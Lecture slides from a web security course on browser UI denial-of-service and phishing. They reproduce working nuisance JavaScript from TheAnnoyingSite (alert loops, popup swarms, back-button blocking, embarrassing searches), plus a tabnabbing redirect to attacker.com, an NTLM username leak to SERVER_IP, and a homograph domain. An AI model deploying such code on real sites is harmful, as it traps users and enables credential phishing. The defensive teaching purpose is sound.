Denial-of-service and Phishing
Admin

- My office hours are moved to tomorrow @ 9-11am
- Assignment 1 is due tomorrow @ 5pm
Group activity

1. Take out your laptop
2. Open an alternate browser (one you do not usually use)
3. Visit TheAnnoyingSite.com and do not press any buttons!
4. On the count of three... hold down the space bar!
What happened?

- With a partner
  - List some things that happened
  - What was the most surprising thing the site was able to do?
  - Why was this action allowed by the browser?
UI Denial-of-service attacks

- **Override browser defaults**: disorient or trap the user on site
- **Scareware**: sites which intimidate the user into buying a product by trapping them on an unwanted site
- **Annoy the user**: harmless fun, can be disruptive, cause users to lose unsaved work
<table>
<thead>
<tr>
<th>API Level</th>
<th>Restrictions</th>
<th>Examples</th>
</tr>
</thead>
<tbody>
<tr>
<td>Level 0</td>
<td>No restrictions. API can be used immediately and indiscriminately.</td>
<td>DOM, CSS, <code>window.move()</code>, file download, hide mouse cursor</td>
</tr>
<tr>
<td>Level 1</td>
<td>User interaction required. API cannot be used except in response to a “user activation” (e.g. click, keypress).</td>
<td><code>Element.requestFullscreen()</code>, <code>navigator.vibrate()</code>, copy text to clipboard, speech synthesis API, <code>window.open()</code></td>
</tr>
<tr>
<td>Level 2</td>
<td>User “engagement” required. API cannot be used until user demonstrates high engagement with a website.</td>
<td>Autoplay sound, prompt to install website to homescreen</td>
</tr>
<tr>
<td>Level 3</td>
<td>User permission required. API cannot be used until user grants explicit permission.</td>
<td>Camera, microphone, geolocation, USB, MIDI device access</td>
</tr>
</tbody>
</table>
Classic infinite alert loop

while (true) {
    window.alert('Hahah, you fell into my trap!')
}
Classic infinite alert loop

```
const messages = [
  'Hi there!',
  'Welcome to my awesome website',
  'I am glad that you made it here',
  'While I have you trapped here, listen up!',
  'Once upon a time...',
  ...
]

while (true) {
  messages.forEach(message => alert(message))
}
```
Infinite alert loop defenses

- **Goal:** Browsers want to give users a way to break out of infinite alert loops without needing to quit their browser.

- **Initial solution:** Browsers added a checkbox on alert modal to stop further alerts.

- **Current solution:** Browsers are multiprocess now, so if a tab wants to go into an infinite loop that doesn't prevent the tab's close button from working. Just let the site infinitely loop as long as the user can close the misbehaving tab.
Question: what is the most annoying possible site?

- To get an idea of what types of UI denial-of-service attacks are possible, we're going to walk through some of the TheAnnoyingSite's functionality
Open a new window

```javascript
const win = window.open('', '', 'width=100,height=100')
```

Move it around

```javascript
win.moveTo(10, 10)
win.resizeTo(200, 200)
```
about:blank
"User initiated" event handler

document.addEventListener('click', () => {
    const win = window.open('','','width=100,height=100')
    win.moveTo(10, 10)
    win.resizeTo(200, 200)
})
Move the window automatically

```javascript
let i = 0

setInterval(() => {
    win.moveTo(i, i)
    i = (i + 5) % 200
}, 100)
```
function moveWindowBounce () {
    let vx = VELOCITY * (Math.random() > 0.5 ? 1 : -1)
    let vy = VELOCITY * (Math.random() > 0.5 ? 1 : -1)

    window.setInterval(() => {
        const x = window.screenX
        const y = window.screenY
        const width = window.outerWidth
        const height = window.outerHeight

        if (x < MARGIN) vx = Math.abs(vx)
        if (x + width > SCREEN_WIDTH - MARGIN) vx = -1 * Math.abs(vx)
        if (y < MARGIN + 20) vy = Math.abs(vy)
        if (y + height > SCREEN_HEIGHT - MARGIN) vy = -1 * Math.abs(vy)

        window.moveBy(vx, vy)
    }, TICK_LENGTH)
}
function interceptUserInput (onInput) {
    document.body.addEventListener('touchstart', onInput, { passive: false })
    document.body.addEventListener('mousedown', onInput)
    document.body.addEventListener('mouseup', onInput)
    document.body.addEventListener('click', onInput)
    document.body.addEventListener('keydown', onInput)
    document.body.addEventListener('keyup', onInput)
    document.body.addEventListener('keypress', onInput)
}
function openWindow () {
    const { x, y } = getRandomCoords()
    const opts = `width=${WIN_WIDTH},height=${WIN_HEIGHT},left=${x},top=${y}`
    const win = window.open(window.location.pathname, '', opts)

    // New windows may be blocked by the popup blocker
    if (!win) return
    wins.push(win)
}

interceptUserInput(event => {
    event.preventDefault()
    event.stopPropagation()
    openWindow()
})
Focus all windows on click

```javascript
function focusWindows () {
    wins.forEach(win => {
        if (!win.closed) win.focus()
    })
}
```
const VIDEOS = [
    'albundy.mp4', 'badger.mp4', 'cat.mp4', 'hasan.mp4', 'heman.mp4',
    'jozin.mp4', 'nyan.mp4', 'rickroll.mp4', 'space.mp4', 'trolol.mp4'
]

function startVideo () {
    const video = document.createElement('video')

    video.src = getRandomArrayEntry(VIDEOS)
    video.autoplay = true
    video.loop = true
    video.muted = true
    video.style = 'width: 100%; height: 100%;'

    document.body.appendChild(video)
}
Show a modal to prevent window close

```javascript
function showModal () {
    window.print()
}
```
Show a modal regularly

```javascript
function startAlertInterval () {
    setInterval(() => {
        showModal()
    }, 30000)
}
```
function confirmPageUnload () {
  window.addEventListener('beforeunload', event => {
    event.returnValue = true
  })
}

Are you sure you want to navigate away from this page?

Closing this webpage will replace all your files with cat videos.

Press OK to continue, or Cancel to stay on the current page.
Leave site?

Changes you made may not be saved.

Cancel  Leave
function blockBackButton () {
    window.addEventListener('popstate', () => {
        window.history.forward()
    })

Do embarrassing searches (part 1)

const SEARCHES = [
    'where should i bury the body',
    'why does my eye twitch',
    'why is my poop green',
    'why do i feel so empty',
    'why do i always feel hungry',
    'why do i always have diarrhea',
    'why does my anus itch',
    'why does my belly button smell',
    'why does my cat attack me',
    'why does my dog eat poop',
    'why does my fart smell so bad',
    'why does my mom hate me',
    'why does my pee smell bad',
    'why does my poop float',
    'proof that the earth is flat'
]
function setupSearchWindow (win) {
  if (!win) return
  win.window.location = 'https://www.bing.com/search?q=' + encodeURIComponent(SEARCHES[0])
  let searchIndex = 1
  let interval = setInterval(() => {
    if (searchIndex >= SEARCHES.length) {
      clearInterval(interval)
      win.window.location = window.location.pathname
      return
    }
    if (win.closed) {
      clearInterval(interval)
      onCloseWindow(win)
      return
    }
    win.window.location = window.location.pathname
    setTimeout(() => {
      const { x, y } = getRandomCoords()
      win.moveTo(x, y)
      win.window.location = 'https://www.bing.com/search?q=' + encodeURIComponent(SEARCHES[searchIndex])
      searchIndex += 1
    }, 500)
  }, 2500)
}

Tabnabbing (part 1)

If, `social.example.com` links to `attacker.com`

`<a href='https://attacker.com' target='_blank'>External Website</a>`

Then, `attacker.com` gets a reference to the `social.example.com` window

`window.opener`
Tabnabbing (part 2)

```javascript
function attemptToTakeoverOpenerWindow () {
    window.opener.location = 'http://attacker.com/phishing'
}
```
Tabnabbing defenses

- Add `rel='noopener'` to all links with `target='_blank'` to prevent this attack
  - The opened site's `window.opener` will be `null`
  - As of 2021, all browsers treat `target="_blank"` as implying `rel="noopenener"`
- New HTTP header: `Cross-Origin-Opener-Policy: same-origin`
  - Browsers will use a separate OS process to load the site
  - Prevent cross-window attacks (`window.opener`, usage of `postMessage`) and process side-channel attacks by severing references to other browsing contexts
Extra credit opportunity

- If you think of additional annoying features to add, send a pull request!
  - https://github.com/feross/theannoyingsite.com
  - Accepted pull requests earn a few points of extra credit
- I'll share the best submissions with the class
What should a web browser be?

- Simple document viewer or powerful app platform?
  - There's a inherent tension between the two goals
  - Need to give developers powerful features without letting the bad ones be user-hostile (i.e. fingerprinting, phishing)
Most Websites Don’t Need to Vibrate: 
A Cost–Benefit Approach to Improving Browser Security

ckanich@uic.edu

ABSTRACT

Modern web browsers have accrued an incredibly broad set of features since being invented for hypermedia dissemination in 1990. Many of these features benefit users by enabling new types of web applications. However, some features also bring risk to users’ privacy and security, whether through implementation error, unexpected composition, or unintended use. Currently there is no general methodology for weighing these costs and benefits. Restricting access to only the features which are necessary for delivering desired functionality on a given website would allow users to enforce the principle of least privilege on use of the myriad APIs present in the modern web browser.

However, security benefits gained by increasing restrictions must be balanced against the risk of breaking existing websites. This work addresses this problem with a methodology for weighing the costs and benefits of giving websites default access to each browser feature. We model the benefit as the number of websites that require the feature for some user-visible benefit, and the cost as the number of CVEs, lines of code, and academic attacks related to the functionality. We then apply this methodology to 74 Web API standards implemented in modern browsers. We find that allowing websites default access to large parts of the Web API poses significant security and privacy risks, with little corresponding benefit.

Firefox OS, have expanded the Web API tremendously. Modern browsers have, for example, gained the ability to detect changes in ambient light levels [58], perform complex audio synthesis [14], enforce digital rights management systems [25], cause vibrations in enabled devices [36], and create peer to peer networks [11].

While the web has picked up new capabilities, the security model underlying the Web API has remained largely unchanged. All websites have access to nearly all browser capabilities. Unintended information leaks caused by these capabilities have been leveraged by attackers in several ways: for instance, WebGL and Canvas allowed Cao et al. to construct resilient cross-browser fingerprints [21], and Gras et al. were able to defeat ASLR in the browser [30] using the Web Workers and High Resolution Timing APIs.¹ One purported benefit of deploying applications via JavaScript in the browser is that the runtime is sandboxed, so that websites can execute any code it likes, even if the user had never visited that site before. The above attacks, and many more, have subverted that assumption to great effect.

These attacks notwithstanding, allowing websites to quickly provide new experiences is a killer feature that enables rapid delivery of innovative new applications. Even though some sites take advantage of these capabilities to deliver novel applications, a large portion of the web still provides its primary value through rich media, which are not capable of delivering significant value without these APIs.

¹There is a growing movement to improve cross-browser fingerprints using a more limited set of non-API APIs [1].
Most Websites Don't Need to Vibrate (2017)

- Cost-benefit analysis of web features
  - **Benefit**: number of websites that require the feature for some user-visible benefit
  - **Cost**: number of CVEs (implementation errors), lines of code, unexpected composition, unintended use, known attacks
Alice in Warningland:
A Large-Scale Field Study of Browser Security Warning Effectiveness

Devdatta Akhawe  
*University of California, Berkeley*  
devdatta@cs.berkeley.edu  

Adrienne Porter Felt  
Google, Inc.  
felt@google.com

Abstract

We empirically assess whether browser security warnings are as ineffective as suggested by popular opinion and previous literature. We used Mozilla Firefox and Google Chrome’s in-browser telemetry to observe over 25 million warning impressions in situ. During our field study, users continued through a tenth of Mozilla Firefox’s malware and phishing warnings, a quarter of Google Chrome’s malware and phishing warnings, and a third of Mozilla Firefox’s SSL warnings. This demonstrates that security warnings can be effective in practice; security experts and system architects should not dismiss the goal of communicating security information to end users. We also find that user behavior varies across warnings. In contrast to the other warnings, users continued through 70.2% of Google Chrome’s SSL warnings. This indicates that the user experience of a warning can have a significant impact on user behavior. Based on our findings, we make

The security community’s perception of the “oblivious” user evolved from the results of a number of laboratory studies on browser security indicators [5, 11, 13, 15, 27, 31, 35]. However, these studies are not necessarily representative of the current state of browser warnings in 2013. Most of the studies evaluated warnings that have since been deprecated or significantly modified, often in response to criticisms in the aforementioned studies. Our goal is to investigate whether modern browser security warnings protect users in practice.

We performed a large-scale field study of user decisions after seeing browser security warnings. Our study encompassed 25,405,944 warning impressions in Google Chrome and Mozilla Firefox in May and June 2013. We collected the data using the browsers’ telemetry frameworks, which are a mechanism for browser vendors to collect pseudonymous data from end users. Telemetry allowed us to unobtrusively measure user behavior during
Alice in Warningland (2013)

- **Question:** Are security warnings effective?
- **Answer:** "Users clicked through fewer than a quarter of both browser’s malware and phishing warnings and a third of Mozilla Firefox’s SSL warnings. We also find clickthrough rates as high as 70.2% for Google Chrome SSL warnings, indicating that the user experience of a warning can have a tremendous impact on user behavior"

- **Question:** Do advanced users click through phishing warnings at higher or lower rates?
- **Answer:** "In several cases, Linux users and early adopters click through malware and phishing warnings at higher rates"
And now... onto phishing
Phishing

- Acting like a reputable entity to trick the user into divulging sensitive information such as login credentials or account information
- Often easier than attacking the security of a system directly
  - Just get the user to tell you their password
“Security solutions have a technological component, but security is fundamentally a people problem.”

– Bruce Schneier
MOVIE HACKING...
If I can just overclock the UNIX Django, I can basic the DDOS root. Damn. No dice. But wait... if I decrypt their kilobytes with a backdoor handshake, then... jackpot.

REAL HACKING...
Hi, this is Robert Hackerman. I'm the county password inspector. Hi Bob. How can I help you today?
Notice anything odd?
Demo: visit a Unicode domain
Demo: visit a Unicode domain

Try visiting https://www.appie.com/ a.k.a. https://www.xn--80ak6aa92e.com

Try it in Firefox vs. Chrome/Safari
Demo: view URLs in hex editor
Internationalized Domain Names (IDN)

- Hostnames containing Unicode characters are transcodified to a subset of ASCII consisting of letters, digits, and hyphens called punycode.
- Punycode is a representation of Unicode with the limited ASCII character subset used for Internet host names.
- Allows registering domains with foreign characters!
  - münchen.example.com → xn--mnchen-3ya.example.com
  - 短.co → xn--s7y.co
What's going on?

- Many Unicode characters are difficult to distinguish from common ASCII characters
- Can you spot the difference?
  - apple.com vs. apple.com
- If you convert all hostnames to punycode, then it becomes obvious
  - apple.com → xn--pple-43d.com
IDN homograph attack

- Akin to "domain typosquatting"
  - Use similar-looking name to an established domain to fool a user
- Handwriting has this issue too
  - See etymology of the word "zenith". The translation from the Arabic "samt" (direction) included the scribe's confusing of "m" into "ni"
- Some typefaces still have the issue ("rn" vs. "m" vs. "rri")
It's a feature, not a bug!
IDN homograph attack defenses

- **Solution:** Punycode will show if domain contains characters from multiple different languages

- **Workaround:** Replace every character with a lookalike from a single foreign language
  - **apple.com** → **xn--80ak6aa92e.com**

- **Updated solution:** Show punycode when entire domain is made of lookalike characters and the top-level-domain is not IDN itself.

- Won't fool a password manager!
Confuse the user with subdomains

Chromeless windows
The inception bar: a new phishing method

Welcome to HSBC, the world’s seventh-largest bank! Of course, the page you’re reading isn’t actually hosted on hsbc.com; it’s hosted on jameishfisher.com. But when you visit this site on Chrome for mobile, and scroll a little...
User defenses against phishing

- Use a password manager
  - Password manager won't be fooled by IDN homograph attack
- Use a hardware security key
Cookiejacking

- Famous example affected IE in 2011.

- Use clickjacking technique to perform "content extraction" using Drag-and-Drop

- Learn Windows username by adding `<img src="\\SERVER_IP\img.jpg">` to page, wait for NTLM (New Technology LAN Manager) protocol to send username in the clear to SERVER_IP

- Select the whole cookie text with mousedown using two nested iframes
Cookiejack PoC
Drag the balls into the baskets...
Filejacking

- Make users think that a file upload dialog is actually a file download dialog
- Get them to upload the entire contents of a folder to your server

Built on-demand just for you!

by konstantin.kotov

I've got some gifts for you. I gathered some of the latest hacking tricks for all browsers, spliced it up with an algorithm that will send you a ZIP file crafted especially for you based on your answers. Just fill out the short quiz and wait for the file download.

1. Your nickname: [Your Name]
2. Choose techniques to include:
   - SQL injection
   - XSS
   - CSRF
   - Clickjacking
   - API
3. Who's the greatest of them all?
   - HBGary
   - Jeantof
   - Kevin Mitnick
4. Browser you're targeting:
   - Chrome
   - Safari
   - Firefox
   - Opera
   - other webkit-based (Android, Safari, ...)
   - other
5. I will only use the techniques mentioned in the book for legitimate purposes
6. Choose download location

Preparing file for download...

Note: We're experiencing high loads now, please be patient...

now let's look at what is really going o
User interface security

- "UI security attacks ... are fundamentally attacks on human perception"\(^2\)
- Core problem: Browser allows untrusted sites to put content in a place where the user looks to make trust decisions

\(^2\) "Clickjacking Revisited: A Perceptual View of UI Security"
Google Safe Browsing

- Google maintains a list of known malware/phishing URLs
- Idea: Browser queries the list on every navigation
  - Would send real-time browsing history to Google
- Idea: Download full list of URLs to browser
  - Would be huge, and it's constantly changing
- Idea: Do something smarter?
Demo: Google Safe Browsing

Demo: Google Safe Browsing

Deceptive site ahead

Attackers on testsafebrowsing.appspot.com may trick you into doing something dangerous like installing software or revealing your personal information (for example, passwords, phone numbers, or credit cards). Learn more.

Help improve Safe Browsing by sending some system information and cache content to Google. Privacy policy.
Safe Browsing - Lookup API

- Send URLs to the Google Safe Browsing server to check their status

Advantages

- **Simple URL checks**: You send an HTTP POST request with the actual URLs, and the server responds with the state of the URLs (safe or unsafe).

Drawbacks

- **Privacy**: URLs are not hashed, so the server knows which URLs you look up.
- **Response time**: Every lookup request is processed by the server. We don't provide guarantees on lookup response time.
Cryptographic hash function

- Algorithm that maps data of arbitrary size (the "message") to a bit string of a fixed size (the "hash value")
  - **One-way function:** infeasible to invert
  - **Deterministic:** same message always results in the same hash value
  - **Quick to compute:** we often call hash functions thousands of times
  - **No collisions:** infeasible to find different messages with same hash value
  - **Avalanche effect:** small change to message changes hash value extensively
Safe Browsing - Update API

- Advantages
  - **Privacy:** You exchange data with the server infrequently (only after a local hash prefix match) and using hashed URLs, so the server never knows the actual URLs queried by the clients.
  - **Response time:** You maintain a local database that contains copies of the Safe Browsing lists; they do not need to query the server every time they want to check a URL.

- Drawbacks
  - **Implementation:** You need to set up a local database and then download, and periodically update, the local copies of the Safe Browsing lists (stored as variable-length SHA256 hashes).
  - **Complex URL checks:** You need to know how to canonicalize URLs, create suffix/prefix expressions, and compute SHA256 hashes (for comparison with the local copies of the Safe Browsing lists as well as the Safe Browsing lists stored on the server).
Get unsafe hash prefixes

Client

Is 'abcdef012345...' present?

Yes

Hashes for prefix 'abcdef'

example.com is unsafe!
Final thoughts

- There is a tension between security and capabilities of the web browser
- Phishing is a human problem, though technical solutions can help
- Side channels exist all over the place, and are really hard to prevent
